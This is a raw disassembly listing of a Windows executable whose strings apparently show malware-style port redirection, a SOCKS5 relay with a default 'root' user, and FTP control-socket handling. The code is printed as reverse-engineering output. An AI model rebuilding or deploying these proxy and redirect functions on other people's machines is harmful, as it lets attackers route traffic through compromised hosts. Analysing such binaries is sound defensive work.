db 0C3h ; Γ
db 90h
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42CB20: ; CODE XREF: ___:loc_4015FAj
; ___:00401FC8j
push esi
mov esi, ecx
call sub_401B9F
test byte ptr [esp+8], 1
jz short loc_42CB38
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_42CB38: ; CODE XREF: ___:0042CB2Dj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_42CB50 proc near ; CODE XREF: sub_401B9Fj
jmp sub_4017A8
sub_42CB50 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42CB70 proc near ; CODE XREF: sub_4019F1j
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_C = dword ptr -0Ch
var_4 = dword ptr -4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_42CB70
push eax
mov large fs:0, esp
sub esp, 28h
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov eax, [esi+3Fh]
lea ebx, [esi+43h]
push eax
mov ecx, ebx
lea edi, [esi+11h]
lea ebp, [esi+26h]
call sub_4017EE
mov ecx, [esi+3Bh]
push eax
push ecx
mov ecx, edi
call sub_4017EE
push eax
push offset aSRedirectingFr ; "[%s] Redirecting from Port %d to '%s:%d"...
mov ecx, ebp
call sub_4014DD
mov dl, [esi+98h]
push eax
mov al, [esi+97h]
push edx
push eax
push offset byte_4D8075
call sub_401857
add esp, 24h
push 6
push 1
push 2
nop
call near ptr 71AB3B91h
cmp eax, 0FFFFFFFFh
mov [esi+9Dh], eax
jz loc_42CDA8
mov dx, [esi+3Bh]
xor ecx, ecx
mov [esp+44h+var_2C], ecx
push edx
mov [esp+48h+var_28], ecx
mov word ptr [esp+48h+var_2C], 2
mov [esp+48h+var_24], ecx
mov [esp+48h+var_20], ecx
nop
call near ptr 71AB2B66h
mov ecx, [esi+9Dh]
mov word ptr [esp+44h+var_2C+2], ax
lea eax, [esp+44h+var_2C]
push 10h
push eax
push ecx
mov [esp+50h+var_34], 10h
call near ptr 71AB3E00h
nop
test eax, eax
jz short loc_42CC5B
mov edx, [esi+9Dh]
push edx
call near ptr 71AB9639h
nop
pop edi
pop esi
pop ebp
pop ebx
mov ecx, [esp+34h+var_C]
mov large fs:0, ecx
add esp, 34h
retn
; ---------------------------------------------------------------------------
loc_42CC5B: ; CODE XREF: sub_42CB70+C9j
mov eax, [esi+99h]
mov cl, [eax+11Ch]
test cl, cl
jz loc_42CD54
loc_42CC6F: ; CODE XREF: sub_42CB70+1DEj
mov ecx, [esi+9Dh]
push 0Ah
push ecx
call near ptr 71AB88D3h
nop
cmp eax, 0FFFFFFFFh
jz loc_42CD35
mov ecx, [esi+9Dh]
lea edx, [esp+44h+var_34]
lea eax, [esp+44h+var_1C]
push edx
push eax
push ecx
call near ptr 71AC1028h
nop
mov ebp, eax
cmp ebp, 0FFFFFFFFh
jz loc_42CD35
xor edi, edi
cmp ebp, edi
jz loc_42CD35
push 0A9h
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+44h+var_30], eax
cmp eax, edi
mov [esp+44h+var_4], edi
jz short loc_42CCD5
mov ecx, eax
call sub_40166D
mov edi, eax
loc_42CCD5: ; CODE XREF: sub_42CB70+15Aj
mov edx, [esi+99h]
mov [edi+9Dh], esi
mov [edi+99h], edx
mov eax, [esi+3Bh]
mov [edi+3Bh], eax
mov ecx, [esi+3Fh]
mov [edi+3Fh], ecx
push ebx
lea ecx, [edi+43h]
mov [esp+48h+var_4], 0FFFFFFFFh
call sub_401FDC
lea eax, [esi+26h]
lea ecx, [edi+26h]
push eax
mov [edi+0A1h], ebp
call sub_401FDC
mov dl, [esi+97h]
mov ecx, edi
mov [edi+97h], dl
mov al, [esi+98h]
mov [edi+98h], al
call sub_4013DE
loc_42CD35: ; CODE XREF: sub_42CB70+111j
; sub_42CB70+133j ...
push 0FAh
nop
call near ptr 2850369h
mov ecx, [esi+99h]
mov al, [ecx+11Ch]
test al, al
jnz loc_42CC6F
loc_42CD54: ; CODE XREF: sub_42CB70+F9j
mov eax, [esi+9Dh]
cmp eax, 0FFFFFFFFh
jz short loc_42CD66
push eax
call near ptr 71AB9639h
nop
loc_42CD66: ; CODE XREF: sub_42CB70+1EDj
mov edx, [esi+3Fh]
mov ecx, ebx
push edx
call sub_4017EE
push eax
mov eax, [esi+3Bh]
push eax
lea ecx, [esi+11h]
call sub_4017EE
push eax
push offset aSFinishedRed_0 ; "[%s] Finished redirecting from port %d "...
lea ecx, [esi+26h]
call sub_4014DD
mov cl, [esi+98h]
mov dl, [esi+97h]
push eax
push ecx
push edx
push offset byte_4D8075
call sub_401857
add esp, 24h
loc_42CDA8: ; CODE XREF: sub_42CB70+7Cj
mov ecx, [esp+44h+var_C]
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 34h
retn
sub_42CB70 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 0A0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_42CE60 proc near ; CODE XREF: sub_402202j
var_3C = byte ptr -3Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_42CE60
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
push edi
push 0
push 10h
push 3
push 14h
push 4Fh
push 14h
push 3
push 5
push 12h
push 9
push 4
mov esi, ecx
push 5
lea eax, [esp+74h+var_3C]
push 12h
push eax
mov dword ptr [esi+118h], 0
call sub_4019C4
add esp, 38h
push esi
mov ecx, eax
mov [esp+48h+var_4], 0
call sub_4017EE
lea ecx, [esi+4]
push eax
push ecx
mov ecx, offset dword_449118
call sub_40159B
sub_42CE60 endp
; ---------------------------------------------------------------------------
or edi, 0FFFFFFFFh
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 5
push 12h
push 7
push 4Fh
push 14h
push 3
push 5
push 12h
push 9
push 4
push 5
lea edx, [esp+38h]
push 12h
push edx
call sub_4019C4
add esp, 38h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 1
call sub_4017EE
push eax
lea eax, [esi+32h]
push eax
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 10h
push 14h
push 14h
push 8
push 4Fh
push 14h
push 3
push 5
push 12h
push 9
push 4
push 5
lea ecx, [esp+3Ch]
push 12h
push ecx
call sub_4019C4
add esp, 3Ch
push esi
mov ecx, eax
mov dword ptr [esp+44h], 2
call sub_4017EE
lea edx, [esi+60h]
push eax
push edx
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 13h
push 0Bh
push 3
push 0Fh
push 13h
push 4Fh
push 14h
push 3
push 5
push 12h
push 9
push 4
push 5
lea eax, [esp+40h]
push 12h
push eax
call sub_4019C4
add esp, 40h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 3
call sub_4017EE
lea ecx, [esi+8Eh]
push eax
push ecx
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 49h
push 13h
push 0Bh
push 3
push 0Fh
push 13h
push 4Fh
push 14h
push 3
push 5
push 12h
push 9
push 4
push 5
lea edx, [esp+44h]
push 12h
push edx
call sub_4019C4
add esp, 44h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 4
call sub_4017EE
push eax
lea eax, [esi+0BCh]
push eax
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 10h
push 0Fh
push 14h
push 13h
push 4Fh
push 14h
push 3
push 5
push 12h
push 9
push 4
push 5
lea ecx, [esp+54h]
push 12h
push ecx
call sub_4019C4
add esp, 3Ch
push esi
mov ecx, eax
mov dword ptr [esp+44h], 5
call sub_4017EE
add esi, 0EAh
push eax
push esi
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+20h]
mov [esp+40h], edi
call sub_401226
mov ecx, [esp+38h]
pop edi
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 0A0h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42D150: ; CODE XREF: ___:loc_40204Aj
mov eax, large fs:0
push 0FFFFFFFFh
push offset loc_43D0A4
push eax
mov large fs:0, esp
sub esp, 68h
push ebx
push ebp
push esi
mov esi, [esp+84h]
mov ebp, ecx
push edi
lea edi, [esi+7Eh]
lea ecx, [ebp+4]
call sub_4017EE
push eax
mov ecx, edi
call sub_4012EE
or ebx, 0FFFFFFFFh
test eax, eax
jnz loc_42D2B7
push 0A1h
call sub_437AEA
; ---------------------------------------------------------------------------
db 83h, 0C4h, 4
dd 88248489h, 33000000h, 89C73BFFh, 8024BCh, 9740000h
dd 0ADE8C88Bh, 8BFFFD44h, 460068F8h, 448D0044h, 16A4C24h
dd 11C85C6h, 50010000h, 9C89CE8Bh, 8C24h, 99AF8900h, 0E8000000h
dd 0FFFD44D4h, 84C7C88Bh, 8024h, 100h, 45F8E800h, 9050FFFDh
dd 7EED1BE8h, 4C48377h, 48244C8Dh, 893B4789h, 80249Ch
dd 13E80000h, 68FFFD40h, 444600h, 4C244C8Dh, 8B51026Ah
dd 4492E8CEh, 8D50FFFDh, 84C7434Fh, 8424h, 200h, 4DA2E800h
dd 4C8DFFFDh, 9C894824h, 8024h, 3FDCE800h, 68FFFDh, 8D004446h
dd 6A4C2454h, 0CE8B5203h, 0FD445BE8h, 0C7C88BFFh, 802484h
dd 30000h, 7FE80000h, 50FFFD45h, 0ECA2E890h, 0C483777Eh
dd 244C8D04h, 3F478948h, 80249C89h, 0E8000000h, 0FFFD3F9Ah
dd 8D69468Dh, 0E850264Fh, 0FFFD4D44h, 938E8Ah, 8F880000h
dd 97h, 94968Ah, 0CF8B0000h, 989788h, 27E80000h
db 41h, 0FDh, 0FFh
; ---------------------------------------------------------------------------
loc_42D2B7: ; CODE XREF: ___:0042D18Dj
lea ecx, [ebp+32h]
call sub_4017EE
push eax
lea ecx, [esi+7Eh]
call sub_4012EE
test eax, eax
jnz loc_42D3E7
push 9Dh
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+88h], eax
test eax, eax
mov dword ptr [esp+80h], 4
jz short loc_42D2FE
mov ecx, eax
call sub_401898
mov edi, eax
jmp short loc_42D300
; ---------------------------------------------------------------------------
loc_42D2FE: ; CODE XREF: ___:0042D2F1j
xor edi, edi
loc_42D300: ; CODE XREF: ___:0042D2FCj
push offset asc_444600 ; " "
lea eax, [esp+4Ch]
push 1
mov byte ptr [ebp+11Ch], 1
push eax
mov ecx, esi
mov [esp+8Ch], ebx
mov [edi+99h], ebp
call sub_4016B8
push eax
lea ecx, [edi+58h]
mov dword ptr [esp+84h], 5
call sub_401FDC
lea ecx, [esp+48h]
mov [esp+80h], ebx
call sub_401226
push offset asc_444600 ; " "
lea ecx, [esp+4Ch]
push 2
push ecx
mov ecx, esi
call sub_4016B8
push eax
lea ecx, [edi+6Dh]
mov dword ptr [esp+84h], 6
call sub_401FDC
lea ecx, [esp+48h]
mov [esp+80h], ebx
call sub_401226
push offset asc_444600 ; " "
lea edx, [esp+4Ch]
push 3
push edx
mov ecx, esi
call sub_4016B8
push eax
lea ecx, [edi+82h]
mov dword ptr [esp+84h], 7
call sub_401FDC
lea ecx, [esp+48h]
mov [esp+80h], ebx
call sub_401226
lea eax, [esi+69h]
lea ecx, [edi+26h]
push eax
call sub_401FDC
mov cl, [esi+93h]
mov [edi+97h], cl
mov dl, [esi+94h]
mov ecx, edi
mov [edi+98h], dl
call sub_4013DE
loc_42D3E7: ; CODE XREF: ___:0042D2CAj
lea ecx, [ebp+60h]
call sub_4017EE
push eax
lea ecx, [esi+7Eh]
call sub_4012EE
test eax, eax
jnz loc_42D510
push 0A2h
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+88h], eax
test eax, eax
mov dword ptr [esp+80h], 8
jz short loc_42D42E
mov ecx, eax
call sub_4018ED
mov edi, eax
jmp short loc_42D430
; ---------------------------------------------------------------------------
loc_42D42E: ; CODE XREF: ___:0042D421j
xor edi, edi
loc_42D430: ; CODE XREF: ___:0042D42Cj
push offset asc_444600 ; " "
lea eax, [esp+4Ch]
push 1
mov byte ptr [ebp+11Ch], 1
push eax
mov ecx, esi
mov [esp+8Ch], ebx
mov [edi+99h], ebp
call sub_4016B8
mov ecx, eax
mov dword ptr [esp+80h], 9
call sub_4017EE
push eax
nop
call near ptr 77C1BF18h
add esp, 4
lea ecx, [esp+48h]
mov [edi+3Bh], eax
mov [esp+80h], ebx
call sub_401226
push offset asc_444600 ; " "
lea ecx, [esp+4Ch]
push 2
push ecx
mov ecx, esi
call sub_4016B8
push offset aTrue ; "true"
mov ecx, eax
mov dword ptr [esp+84h], 0Ah
call sub_40150A
test eax, eax
lea ecx, [esp+48h]
mov [esp+80h], ebx
setz byte ptr [esp+88h]
call sub_401226
mov al, [esp+88h]
test al, al
jz short loc_42D4DE
mov byte ptr [edi+9Dh], 1
jmp short loc_42D4E5
; ---------------------------------------------------------------------------
loc_42D4DE: ; CODE XREF: ___:0042D4D3j
mov byte ptr [edi+9Dh], 0
loc_42D4E5: ; CODE XREF: ___:0042D4DCj
lea edx, [esi+69h]
lea ecx, [edi+26h]
push edx
call sub_401FDC
mov al, [esi+93h]
mov [edi+97h], al
mov cl, [esi+94h]
mov [edi+98h], cl
mov ecx, edi
call sub_4013DE
loc_42D510: ; CODE XREF: ___:0042D3FAj
lea ecx, [ebp+8Eh]
call sub_4017EE
push eax
lea ecx, [esi+7Eh]
call sub_4012EE
test eax, eax
jnz loc_42D5DD
push 0A1h
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+88h], eax
test eax, eax
mov dword ptr [esp+80h], 0Bh
jz short loc_42D55A
mov ecx, eax
call sub_40218A
mov edi, eax
jmp short loc_42D55C
; ---------------------------------------------------------------------------
loc_42D55A: ; CODE XREF: ___:0042D54Dj
xor edi, edi
loc_42D55C: ; CODE XREF: ___:0042D558j
push offset asc_444600 ; " "
lea edx, [esp+4Ch]
push 1
mov byte ptr [ebp+11Ch], 1
push edx
mov ecx, esi
mov [esp+8Ch], ebx
mov [edi+99h], ebp
call sub_4016B8
mov ecx, eax
mov dword ptr [esp+80h], 0Ch
call sub_4017EE
push eax
nop
call near ptr 77C1BF18h
add esp, 4
lea ecx, [esp+48h]
mov [edi+3Bh], eax
mov [esp+80h], ebx
call sub_401226
lea eax, [esi+69h]
lea ecx, [edi+26h]
push eax
call sub_401FDC
mov cl, [esi+93h]
mov [edi+97h], cl
mov dl, [esi+94h]
mov ecx, edi
mov [edi+98h], dl
call sub_4013DE
loc_42D5DD: ; CODE XREF: ___:0042D526j
lea ecx, [ebp+0BCh]
call sub_4014DD
lea edi, [esi+7Eh]
push eax
mov ecx, edi
mov [esp+8Ch], edi
call sub_4012EE
test eax, eax
jnz loc_42D809
lea ecx, [esp+30h]
call sub_40142E
lea ecx, [esp+18h]
mov dword ptr [esp+80h], 0Dh
call sub_40142E
push offset asc_444600 ; " "
lea eax, [esp+4Ch]
push 2
push eax
mov ecx, esi
mov byte ptr [esp+8Ch], 0Eh
call sub_4016B8
mov ecx, eax
mov byte ptr [esp+80h], 0Fh
call sub_4017EE
push eax
lea ecx, [esp+34h]
call sub_401A9B
lea ecx, [esp+48h]
mov byte ptr [esp+80h], 0Eh
call sub_401226
push offset asc_444600 ; " "
lea ecx, [esp+4Ch]
push 3
push ecx
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov byte ptr [esp+80h], 10h
call sub_4017EE
push eax
lea ecx, [esp+1Ch]
call sub_401A9B
lea ecx, [esp+48h]
mov byte ptr [esp+80h], 0Eh
call sub_401226
lea ecx, [esp+30h]
call sub_4014DD
cmp eax, offset byte_448F30
jnz short loc_42D6BF
push offset aRoot ; "root"
lea ecx, [esp+1Ch]
call sub_401A9B
loc_42D6BF: ; CODE XREF: ___:0042D6AFj
lea ecx, [esp+18h]
call sub_4014DD
cmp eax, offset byte_448F30
jnz short loc_42D6DD
push offset byte_448F30
lea ecx, [esp+1Ch]
call sub_401A9B
loc_42D6DD: ; CODE XREF: ___:0042D6CDj
push offset asc_444600 ; " "
lea edx, [esp+4Ch]
push 1
push edx
mov ecx, esi
call sub_4016B8
mov edi, eax
lea ecx, [esp+18h]
mov byte ptr [esp+80h], 11h
call sub_4017EE
push eax
lea ecx, [esp+34h]
call sub_4017EE
push eax
mov ecx, edi
call sub_4017EE
mov edi, dword_511B14
push eax
call edi ; atoi
add esp, 4
lea ecx, [esi+69h]
push eax
push offset aSocks5Starting ; "[Socks5] Starting Redirect [Port %d :: "...
call sub_4014DD
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
push offset byte_4D8075
call sub_401857
add esp, 20h
lea ecx, [esp+48h]
mov byte ptr [esp+80h], 0Eh
call sub_401226
lea ecx, [esp+18h]
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+28h], esp
push eax
call sub_401870
lea ecx, [esp+48h]
mov byte ptr [esp+98h], 12h
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+44h], esp
push eax
call sub_401870
push offset asc_444600 ; " "
lea edx, [esp+94h]
push 1
push edx
mov ecx, esi
mov byte ptr [esp+0BCh], 13h
call sub_4016B8
mov ecx, eax
mov byte ptr [esp+0B0h], 15h
call sub_4017EE
push eax
call edi ; atoi
add esp, 4
push eax
call sub_401C2B
add esp, 34h
lea ecx, [esp+60h]
mov byte ptr [esp+80h], 0Eh
call sub_401226
lea ecx, [esp+18h]
mov byte ptr [esp+80h], 0Dh
call sub_401226
lea ecx, [esp+30h]
mov [esp+80h], ebx
call sub_401226
mov edi, [esp+88h]
loc_42D809: ; CODE XREF: ___:0042D5FCj
lea ecx, [ebp+0EAh]
call sub_4017EE
push eax
mov ecx, edi
call sub_4012EE
test eax, eax
jnz short loc_42D826
mov [ebp+11Ch], al
loc_42D826: ; CODE XREF: ___:0042D81Ej
mov ecx, [esp+78h]
pop edi
pop esi
pop ebp
mov al, 1
mov large fs:0, ecx
pop ebx
add esp, 74h
retn 4
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 1C0h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42DA00: ; CODE XREF: ___:004021CBj
push ecx
mov edx, dword_449A4D
push esi
mov esi, ecx
mov eax, [esi+99h]
mov ecx, [eax+118h]
cmp edx, ecx
jl short loc_42DA21
inc ecx
mov [eax+118h], ecx
loc_42DA21: ; CODE XREF: ___:0042DA18j
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+8]
mov eax, [esi+99h]
mov [esp+4], esi
mov ecx, [eax+118h]
dec ecx
mov [eax+118h], ecx
lea ecx, [esp+4]
push ecx
mov ecx, offset byte_4E8E9B
call sub_40120D
; ---------------------------------------------------------------------------
xor eax, eax
pop esi
pop ecx
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_42DA80 proc near ; CODE XREF: sub_401E1Fj
var_190 = byte ptr -190h
sub esp, 190h
lea eax, [esp+190h+var_190]
push eax
push 101h
call sub_438244
sub_42DA80 endp
; ---------------------------------------------------------------------------
db 85h, 0C0h, 74h
dd 900D8B19h, 5000511Ah, 6840C183h, 4473C8h, 64E89051h
dd 83778133h, 0C4810CC4h, 190h, 909090C3h, 90909090h, 4 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------
loc_42DAD0: ; CODE XREF: ___:00401D8Ej
mov eax, [esp+4]
test eax, eax
jz short loc_42DAE3
mov ecx, [eax+18h]
test ecx, ecx
jnz short loc_42DAE3
add eax, 44h
retn
; ---------------------------------------------------------------------------
loc_42DAE3: ; CODE XREF: ___:0042DAD6j
; ___:0042DADDj
xor eax, eax
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_42DB00 proc near ; CODE XREF: sub_401A7Dj
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_12 = word ptr 16h
sub esp, 14h
mov ecx, [esp+14h+arg_0]
xor eax, eax
mov [esp+14h+var_10], eax
push ebx
push ebp
mov [esp+1Ch+var_C], eax
push esi
push edi
mov [esp+24h+var_8], eax
push ecx
mov [esp+28h+var_14], 1
mov [esp+28h+var_4], eax
mov word ptr [esp+28h+var_10], 2
call near ptr 77C46125h
nop
mov ebp, eax
push 3Ah
push ebp
nop
call near ptr 77C47660h
mov esi, eax
xor ebx, ebx
add esp, 0Ch
cmp esi, ebx
jnz short loc_42DB74
push offset aTcp ; "tcp"
push offset aFtp ; "ftp"
call sub_43828C
; ---------------------------------------------------------------------------
dd 6C75C33Bh, 44741C68h, 8BE89000h, 83778092h, 0C03304C4h
dd 5B5D5E5Fh, 0C314C483h
; ---------------------------------------------------------------------------
loc_42DB74: ; CODE XREF: sub_42DB00+47j
mov [esi], bl
mov eax, dword_511A7C
inc esi
cmp dword ptr [eax], 1
jle short loc_42DB92
movsx ecx, byte ptr [esi]
push 4
push ecx
nop
call near ptr 77C1C561h
add esp, 8
jmp short loc_42DBA2
; ---------------------------------------------------------------------------
loc_42DB92: ; CODE XREF: sub_42DB00+7Fj
mov eax, dword_511B1C
movsx edx, byte ptr [esi]
mov ecx, [eax]
mov al, [ecx+edx*2]
and eax, 4
loc_42DBA2: ; CODE XREF: sub_42DB00+90j
cmp eax, ebx
jz short loc_42DBBD
push esi
call near ptr 77C1BF18h
nop
add esp, 4
push eax
call sub_43822C
; ---------------------------------------------------------------------------
mov [esp+arg_12], ax
jmp short sub_42DBD1
; ---------------------------------------------------------------------------
loc_42DBBD: ; CODE XREF: sub_42DB00+A4j
push offset aTcp ; "tcp"
push esi
call sub_43828C
sub_42DB00 endp
; ---------------------------------------------------------------------------
mov dx, [eax+8]
mov [esp+16h], dx
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_42DBD1 proc near ; CODE XREF: sub_42DB00+BBj
push ebp
call sub_4381EA
sub_42DBD1 endp
; ---------------------------------------------------------------------------
cmp eax, 0FFFFFFFFh
mov [esp+18h], eax
jnz short loc_42DC1D
push ebp
call sub_4381DE
; ---------------------------------------------------------------------------
dw 0C33Bh
dd 0C681875h, 90004474h, 8091FDE8h, 4C48377h, 5E5FC033h
dd 0C4835B5Dh, 0BF0FC314h, 408B0A48h, 8DD18B0Ch, 8B18247Ch
dd 2E9C130h, 0CA8BA5F3h, 0F303E183h
; ---------------------------------------------------------------------------
movsb
loc_42DC1D: ; CODE XREF: ___:0042DBDEj
push ebp
mov ebp, dword_511AD0
call ebp ; free
add esp, 4
push 6
push 1
push 2
call sub_438232
; ---------------------------------------------------------------------------
dd 0FF83F88Bh, 681875FFh, 447404h, 8091ADE8h, 0C4839077h
dd 5FC03304h, 835B5D5Eh, 8DC314C4h, 6A102444h, 46A5004h
dd 0FFFF68h, 13E85700h, 830000A6h, 775FFF8h, 4473F468h
dd 8D34EB00h, 6A14244Ch, 0E8575110h, 0A5B8h, 75FFF883h
dd 71F46807h, 1BEB0044h, 14468h, 90016A00h, 7FE42AE8h
dd 83F08B77h, 0F33B08C4h, 0EC681E75h, 90004473h, 809145E8h
dd 4C48377h, 0A546E857h, 5E5F0000h, 5BC0335Dh, 0C314C483h
dd 200068h, 3CE89000h, 83777FE7h, 0C33B04C4h, 75144689h
dd 73EC6824h, 0E8900044h, 77809112h, 5704C483h, 0A513E8h
dd 0D5FF5600h, 3304C483h, 5D5E5FC0h, 14C4835Bh, 326A56C3h
dd 89087E89h, 5E89185Eh, 2446C71Ch, 1, 89305E89h, 5E892C5Eh
dd 345E8928h, 89385E89h, 5E89405Eh, 0DAE83Ch, 0C4830000h
dd 75C08508h, 0C9E8571Ch, 8B0000A4h, 0FF521456h, 0D5FF56D5h
dd 3308C483h, 5D5E5FC0h, 14C4835Bh, 24448BC3h, 30895F2Ch
dd 1B85D5Eh, 5B000000h, 0C314C483h, 90909090h, 28h dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
sub_42DE00 proc near ; CODE XREF: ___:0042E556p
; sub_42F2C0+70p
var_8 = byte ptr -8
var_5 = byte ptr -5
var_4 = byte ptr -4
arg_0 = byte ptr 4
arg_4 = dword ptr 8
sub esp, 8
push ebx
push ebp
push esi
push edi
mov edi, [esp+18h+arg_4]
push edi
push 100h
lea esi, [edi+44h]
push esi
call sub_42DF40
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jnz short loc_42DE3A
loc_42DE22: ; CODE XREF: sub_42DE00+8Ej
; sub_42DE00+D9j
push offset aControlSocketR ; "Control socket read failed"
nop
call near ptr 77C36DF2h
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_42DE3A: ; CODE XREF: sub_42DE00+20j
mov eax, dword_5103A8
mov ebx, dword_511A8C
cmp eax, 1
jle short loc_42DE5E
mov eax, dword_511A90
push esi
add eax, 40h
push offset aS ; "%s"
push eax
call ebx ; fprintf
add esp, 0Ch
loc_42DE5E: ; CODE XREF: sub_42DE00+48j
cmp byte ptr [edi+47h], 2Dh
jnz short loc_42DEDE
push 3
lea ecx, [esp+1Ch+var_8]
push esi
push ecx
call near ptr 77C47A90h
nop
push edi
push 100h
push esi
mov [esp+30h+var_5], 20h
mov [esp+30h+var_4], 0
call sub_42DF40
add esp, 18h
cmp eax, 0FFFFFFFFh
jz short loc_42DE22
mov ebp, dword_511AE0
loc_42DE96: ; CODE XREF: sub_42DE00+D7j
cmp dword_5103A8, 1
jle short loc_42DEB4
mov edx, dword_511A90
push esi
add edx, 40h
push offset aS ; "%s"
push edx
call ebx ; fprintf
add esp, 0Ch
loc_42DEB4: ; CODE XREF: sub_42DE00+9Dj
lea eax, [esp+18h+var_8]
push 4
push eax
push esi
call ebp ; strncmp
add esp, 0Ch
test eax, eax
jz short loc_42DEDE
push edi
push 100h
push esi
call sub_42DF40
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jnz short loc_42DE96
jmp loc_42DE22
; ---------------------------------------------------------------------------
loc_42DEDE: ; CODE XREF: sub_42DE00+62j
; sub_42DE00+C3j
mov cl, [esi]
mov dl, [esp+18h+arg_0]
xor eax, eax
pop edi
cmp cl, dl
pop esi
pop ebp
pop ebx
setz al
add esp, 8
retn
sub_42DE00 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42DF40 proc near ; CODE XREF: sub_42DE00+15p
; sub_42DE00+83p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
sub esp, 8
push ebx
push ebp
mov ebp, [esp+10h+arg_0]
push esi
mov esi, [esp+14h+arg_8]
xor ecx, ecx
push edi
mov [esp+18h+var_8], ecx
mov eax, [esi+18h]
mov [esp+18h+var_4], ecx
cmp eax, ecx
jz short loc_42DF70
cmp eax, 1
jz short loc_42DF70
pop edi
pop esi
pop ebp
or eax, 0FFFFFFFFh
pop ebx
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_42DF70: ; CODE XREF: sub_42DF40+1Ej
; sub_42DF40+23j
mov ebx, [esp+18h+arg_4]
cmp ebx, ecx
jnz short loc_42DF82
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_42DF82: ; CODE XREF: sub_42DF40+36j
; sub_42DF40+115j
mov edi, [esi+0Ch]
test edi, edi
jle short loc_42DFD3
cmp ebx, edi
jge short loc_42DF90
lea edi, [ebx-1]
loc_42DF90: ; CODE XREF: sub_42DF40+4Bj
mov eax, [esi+4]
push edi
push 0Ah
push eax
push ebp
nop
call near ptr 77C46170h
add esp, 10h
test eax, eax
jz short loc_42DFA9
mov edi, eax
sub edi, ebp
loc_42DFA9: ; CODE XREF: sub_42DF40+63j
mov edx, [esp+18h+var_8]
add ebp, edi
add edx, edi
sub ebx, edi
mov [esp+18h+var_8], edx
mov byte ptr [ebp+0], 0
mov ecx, [esi+4]
mov edx, [esi+0Ch]
add ecx, edi
sub edx, edi
test eax, eax
mov [esi+4], ecx
mov [esi+0Ch], edx
jnz loc_42E05A
loc_42DFD3: ; CODE XREF: sub_42DF40+47j
cmp ebx, 1
jz loc_42E0AD
mov ecx, [esi]
mov eax, [esi+4]
cmp ecx, eax
jnz short loc_42DFFB
mov eax, [esi+14h]
mov dword ptr [esi+0Ch], 0
mov [esi+4], eax
mov [esi], eax
mov dword ptr [esi+10h], 2000h
loc_42DFFB: ; CODE XREF: sub_42DF40+A3j
mov eax, [esp+18h+var_4]
test eax, eax
jnz loc_42E0C0
push esi
call sub_42E170
add esp, 4
test eax, eax
jz loc_42E0F2
mov edx, [esi+10h]
mov eax, [esi]
mov ecx, [esi+8]
push 0
push edx
push eax
push ecx
call sub_4381F0
; ---------------------------------------------------------------------------
